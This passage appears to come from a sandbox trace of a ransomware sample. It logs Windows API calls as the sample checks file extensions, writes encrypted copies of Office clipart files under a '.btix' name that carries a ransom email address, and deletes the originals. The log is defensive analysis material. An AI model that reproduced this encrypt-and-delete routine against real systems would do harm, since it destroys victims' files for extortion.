[0142.843] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0142.843] lstrlenW (lpString=".jpg") returned 4 [0142.843] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.843] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0142.843] lstrlenW (lpString="J0105294.WMF") returned 12 [0142.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0142.844] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=5504) returned 1 [0142.844] CloseHandle (hObject=0x390) returned 1 [0142.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf")) returned 0x220 [0142.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0142.845] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.845] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0142.845] GetLastError () returned 0x0 [0142.846] ReadFile (in: hFile=0x390, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x1580, lpOverlapped=0x0) returned 1 [0142.858] WriteFile (in: hFile=0x55c, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x1590, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x1590, lpOverlapped=0x0) returned 1 [0142.859] ReadFile (in: hFile=0x390, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0142.859] WriteFile (in: hFile=0x55c, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0142.859] SetEndOfFile (hFile=0x55c) returned 1 [0142.859] CloseHandle (hObject=0x55c) returned 1 [0142.860] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.860] SetEndOfFile (hFile=0x390) returned 1 [0142.862] CloseHandle (hObject=0x390) returned 1 [0142.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.862] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf")) returned 1 [0142.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0142.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0142.863] lstrlenW (lpString=".doc") returned 4 [0142.863] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.863] lstrlenW (lpString=".docx") returned 5 [0142.863] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0142.863] lstrlenW (lpString=".pdf") returned 4 [0142.863] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.863] lstrlenW (lpString=".xls") returned 4 [0142.863] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.863] lstrlenW (lpString=".xlsx") returned 5 [0142.863] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0142.863] lstrlenW (lpString=".ppt") returned 4 [0142.863] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0142.863] lstrlenW (lpString=".zip") returned 4 [0142.863] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.863] lstrlenW (lpString=".rar") returned 4 [0142.863] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.863] lstrlenW (lpString=".bz2") returned 4 [0142.863] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.863] lstrlenW (lpString=".7z") returned 3 [0142.863] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0142.864] lstrlenW (lpString=".dbf") returned 4 [0142.864] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0142.864] lstrlenW (lpString=".1cd") returned 4 [0142.864] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0142.864] lstrlenW (lpString=".jpg") returned 4 [0142.864] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0142.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0142.864] lstrlenW (lpString=".doc") returned 4 [0142.864] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.864] lstrlenW (lpString=".docx") returned 5 [0142.864] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0142.864] lstrlenW (lpString=".pdf") returned 4 [0142.864] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.864] lstrlenW (lpString=".xls") returned 4 [0142.864] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.864] lstrlenW (lpString=".xlsx") returned 5 [0142.864] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0142.864] lstrlenW (lpString=".ppt") returned 4 [0142.864] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0142.864] lstrlenW (lpString=".zip") returned 4 [0142.864] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.864] lstrlenW (lpString=".rar") returned 4 [0142.864] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.864] lstrlenW (lpString=".bz2") returned 4 [0142.864] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.864] lstrlenW (lpString=".7z") returned 3 [0142.865] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0142.865] lstrlenW (lpString=".dbf") returned 4 [0142.865] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0142.865] lstrlenW (lpString=".1cd") returned 4 [0142.865] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0142.865] lstrlenW (lpString=".jpg") returned 4 [0142.865] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.865] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0142.865] lstrlenW (lpString="J0105298.WMF") returned 12 [0142.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0142.866] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=6320) returned 1 [0142.866] CloseHandle (hObject=0x390) returned 1 [0142.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf")) returned 0x220 [0142.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0142.866] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.866] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0142.867] GetLastError () returned 0x0 [0142.867] ReadFile (in: hFile=0x390, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x18b0, lpOverlapped=0x0) returned 1 [0142.871] WriteFile (in: hFile=0x55c, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x18c0, lpOverlapped=0x0) returned 1 [0142.872] ReadFile (in: hFile=0x390, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0142.872] WriteFile (in: hFile=0x55c, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0142.872] SetEndOfFile (hFile=0x55c) returned 1 [0142.872] CloseHandle (hObject=0x55c) returned 1 [0142.872] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.872] SetEndOfFile (hFile=0x390) returned 1 [0142.880] CloseHandle (hObject=0x390) returned 1 [0142.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.881] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf")) returned 1 [0142.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0142.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0142.881] lstrlenW (lpString=".doc") returned 4 [0142.881] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.881] lstrlenW (lpString=".docx") returned 5 [0142.881] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0142.881] lstrlenW (lpString=".pdf") returned 4 [0142.881] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.882] lstrlenW (lpString=".xls") returned 4 [0142.882] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.882] lstrlenW (lpString=".xlsx") returned 5 [0142.882] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0142.882] lstrlenW (lpString=".ppt") returned 4 [0142.882] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0142.882] lstrlenW (lpString=".zip") returned 4 [0142.882] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.882] lstrlenW (lpString=".rar") returned 4 [0142.882] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.882] lstrlenW (lpString=".bz2") returned 4 [0142.882] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.882] lstrlenW (lpString=".7z") returned 3 [0142.882] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0142.882] lstrlenW (lpString=".dbf") returned 4 [0142.882] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0142.882] lstrlenW (lpString=".1cd") returned 4 [0142.882] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0142.882] lstrlenW (lpString=".jpg") returned 4 [0142.882] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0142.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0142.882] lstrlenW (lpString=".doc") returned 4 [0142.882] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.882] lstrlenW (lpString=".docx") returned 5 [0142.882] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0142.882] lstrlenW (lpString=".pdf") returned 4 [0142.882] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.882] lstrlenW (lpString=".xls") returned 4 [0142.883] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.883] lstrlenW (lpString=".xlsx") returned 5 [0142.883] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0142.883] lstrlenW (lpString=".ppt") returned 4 [0142.883] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0142.883] lstrlenW (lpString=".zip") returned 4 [0142.883] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.883] lstrlenW (lpString=".rar") returned 4 [0142.883] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.883] lstrlenW (lpString=".bz2") returned 4 [0142.883] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.883] lstrlenW (lpString=".7z") returned 3 [0142.883] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0142.883] lstrlenW (lpString=".dbf") returned 4 [0142.883] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0142.883] lstrlenW (lpString=".1cd") returned 4 [0142.883] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0142.883] lstrlenW (lpString=".jpg") returned 4 [0142.883] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.883] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0142.883] lstrlenW (lpString="J0105306.WMF") returned 12 [0142.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0142.884] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=4320) returned 1 [0142.884] CloseHandle (hObject=0x390) returned 1 [0142.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf")) returned 0x220 [0142.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0142.884] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.885] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0142.885] GetLastError () returned 0x0 [0142.885] ReadFile (in: hFile=0x390, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x10e0, lpOverlapped=0x0) returned 1 [0143.212] WriteFile (in: hFile=0x54c, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x10f0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x10f0, lpOverlapped=0x0) returned 1 [0143.213] ReadFile (in: hFile=0x390, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0143.213] WriteFile (in: hFile=0x54c, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0143.214] SetEndOfFile (hFile=0x54c) returned 1 [0143.214] CloseHandle (hObject=0x54c) returned 1 [0143.214] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.214] SetEndOfFile (hFile=0x390) returned 1 [0143.217] CloseHandle (hObject=0x390) returned 1 [0143.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0143.336] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf")) returned 1 [0143.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0143.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0143.477] lstrlenW (lpString=".doc") returned 4 [0143.477] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.477] lstrlenW (lpString=".docx") returned 5 [0143.478] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0143.478] lstrlenW (lpString=".pdf") returned 4 [0143.478] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.478] lstrlenW (lpString=".xls") returned 4 [0143.478] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.478] lstrlenW (lpString=".xlsx") returned 5 [0143.478] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0143.478] lstrlenW (lpString=".ppt") returned 4 [0143.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0143.478] lstrlenW (lpString=".zip") returned 4 [0143.478] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.478] lstrlenW (lpString=".rar") returned 4 [0143.478] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.478] lstrlenW (lpString=".bz2") returned 4 [0143.478] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.478] lstrlenW (lpString=".7z") returned 3 [0143.478] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0143.478] lstrlenW (lpString=".dbf") returned 4 [0143.478] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0143.478] lstrlenW (lpString=".1cd") returned 4 [0143.478] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0143.478] lstrlenW (lpString=".jpg") returned 4 [0143.478] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0143.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0143.479] lstrlenW (lpString=".doc") returned 4 [0143.479] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.479] lstrlenW (lpString=".docx") returned 5 [0143.479] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0143.479] lstrlenW (lpString=".pdf") returned 4 [0143.479] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.479] lstrlenW (lpString=".xls") returned 4 [0143.479] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.479] lstrlenW (lpString=".xlsx") returned 5 [0143.479] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0143.479] lstrlenW (lpString=".ppt") returned 4 [0143.479] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0143.479] lstrlenW (lpString=".zip") returned 4 [0143.479] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.479] lstrlenW (lpString=".rar") returned 4 [0143.479] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.479] lstrlenW (lpString=".bz2") returned 4 [0143.479] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.479] lstrlenW (lpString=".7z") returned 3 [0143.479] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0143.479] lstrlenW (lpString=".dbf") returned 4 [0143.479] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0143.479] lstrlenW (lpString=".1cd") returned 4 [0143.479] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0143.479] lstrlenW (lpString=".jpg") returned 4 [0143.479] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.480] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0143.480] lstrlenW (lpString="J0105384.WMF") returned 12 [0143.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf"), 